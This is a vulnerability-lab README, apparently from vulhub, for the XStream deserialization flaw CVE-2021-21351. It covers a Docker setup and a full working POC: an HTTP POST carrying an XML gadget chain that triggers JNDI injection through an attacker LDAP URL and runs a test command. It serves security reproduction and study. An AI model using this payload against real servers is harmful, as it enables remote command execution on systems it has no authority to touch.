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# XStream Deserialization Remote Command Execution (CVE-2021-21351)
[中文版本(Chinese version)](README.zh-cn.md)
XStream is a simple library to serialize objects to XML and back again.
XStream uses a blocklist mechanism when parsing XML text which is utilized to defend against deserialization vulnerabilities, but in 1.4.15 and earlier, blocklists are incomplete and attackers could use `javax.naming.ldap.Rdn$RdnEntry` and `javax.sql.rowset.BaseRowSet` to make an JNDI injection and execute arbitrary commands finally.
Reference links.
- https://x-stream.github.io/CVE-2021-21351.html
- https://paper.seebug.org/1543/
- https://www.veracode.com/blog/research/exploiting-jndi-injections-java
- https://github.com/welk1n/JNDI-Injection-Exploit/
## Vulnerable Environment
Start a Springboot + XStream 1.4.15 server.
```
docker compose up -d
```
Once the environment is started, you can send the following request to `http://your-ip:8080` to test if the server has started successfully
![](1.png)
## POC
Since the target Java version is higher than 8u191, you need the help of `org.apache.naming.factory.BeanFactory` with EL expression injection to execute arbitrary commands, reference to [this article](https://www.veracode.com/blog/research/exploiting-jndi-injections-java).
You can use the [Java Chains](https://github.com/vulhub/java-chains) for vulnerability replication. Refer to the [Quick Start](https://java-chains.vulhub.org/docs/guide) to launch Java Chains. Afterwards, according to the image below, select to set the command to execute as `touch /tmp/success`, and generate the JNDI LDAP URL Payload:
![](2.png)
Use the above LDAP URL as the value of `<dataSource>` to construct the POC as follows:
```
POST / HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Connection: close
Content-Type: application/xml
Content-Length: 3181
<sorted-set>
<javax.naming.ldap.Rdn_-RdnEntry>
<type>ysomap</type>
<value class='com.sun.org.apache.xpath.internal.objects.XRTreeFrag'>
<m__DTMXRTreeFrag>
<m__dtm class='com.sun.org.apache.xml.internal.dtm.ref.sax2dtm.SAX2DTM'>
<m__size>-10086</m__size>
<m__mgrDefault>
<__overrideDefaultParser>false</__overrideDefaultParser>
<m__incremental>false</m__incremental>
<m__source__location>false</m__source__location>
<m__dtms>
<null/>
</m__dtms>
<m__defaultHandler/>
</m__mgrDefault>
<m__shouldStripWS>false</m__shouldStripWS>
<m__indexing>false</m__indexing>
<m__incrementalSAXSource class='com.sun.org.apache.xml.internal.dtm.ref.IncrementalSAXSource_Xerces'>
<fPullParserConfig class='com.sun.rowset.JdbcRowSetImpl' serialization='custom'>
<javax.sql.rowset.BaseRowSet>
<default>
<concurrency>1008</concurrency>
<escapeProcessing>true</escapeProcessing>
<fetchDir>1000</fetchDir>
<fetchSize>0</fetchSize>
<isolation>2</isolation>
<maxFieldSize>0</maxFieldSize>
<maxRows>0</maxRows>
<queryTimeout>0</queryTimeout>
<readOnly>true</readOnly>
<rowSetType>1004</rowSetType>
<showDeleted>false</showDeleted>
<dataSource>ldap://java-chains-ip:50389/x</dataSource>
<listeners/>
<params/>
</default>
</javax.sql.rowset.BaseRowSet>
<com.sun.rowset.JdbcRowSetImpl>
<default/>
</com.sun.rowset.JdbcRowSetImpl>
</fPullParserConfig>
<fConfigSetInput>
<class>com.sun.rowset.JdbcRowSetImpl</class>
<name>setAutoCommit</name>
<parameter-types>
<class>boolean</class>
</parameter-types>
</fConfigSetInput>
<fConfigParse reference='../fConfigSetInput'/>
<fParseInProgress>false</fParseInProgress>
</m__incrementalSAXSource>
<m__walker>
<nextIsRaw>false</nextIsRaw>
</m__walker>
<m__endDocumentOccured>false</m__endDocumentOccured>
<m__idAttributes/>
<m__textPendingStart>-1</m__textPendingStart>
<m__useSourceLocationProperty>false</m__useSourceLocationProperty>
<m__pastFirstElement>false</m__pastFirstElement>
</m__dtm>
<m__dtmIdentity>1</m__dtmIdentity>
</m__DTMXRTreeFrag>
<m__dtmRoot>1</m__dtmRoot>
<m__allowRelease>false</m__allowRelease>
</value>
</javax.naming.ldap.Rdn_-RdnEntry>
<javax.naming.ldap.Rdn_-RdnEntry>
<type>ysomap</type>
<value class='com.sun.org.apache.xpath.internal.objects.XString'>
<m__obj class='string'>test</m__obj>
</value>
</javax.naming.ldap.Rdn_-RdnEntry>
</sorted-set>
```
It can be seen that `touch /tmp/success` has been successfully executed:
![](3.png)
If something goes wrong with the POC and Java version, the POC have to be modified by changing ``<__overrideDefaultParser>false</__overrideDefaultParser>`` to ``<__useServicesMechanism>false</__useServicesMechanism>``.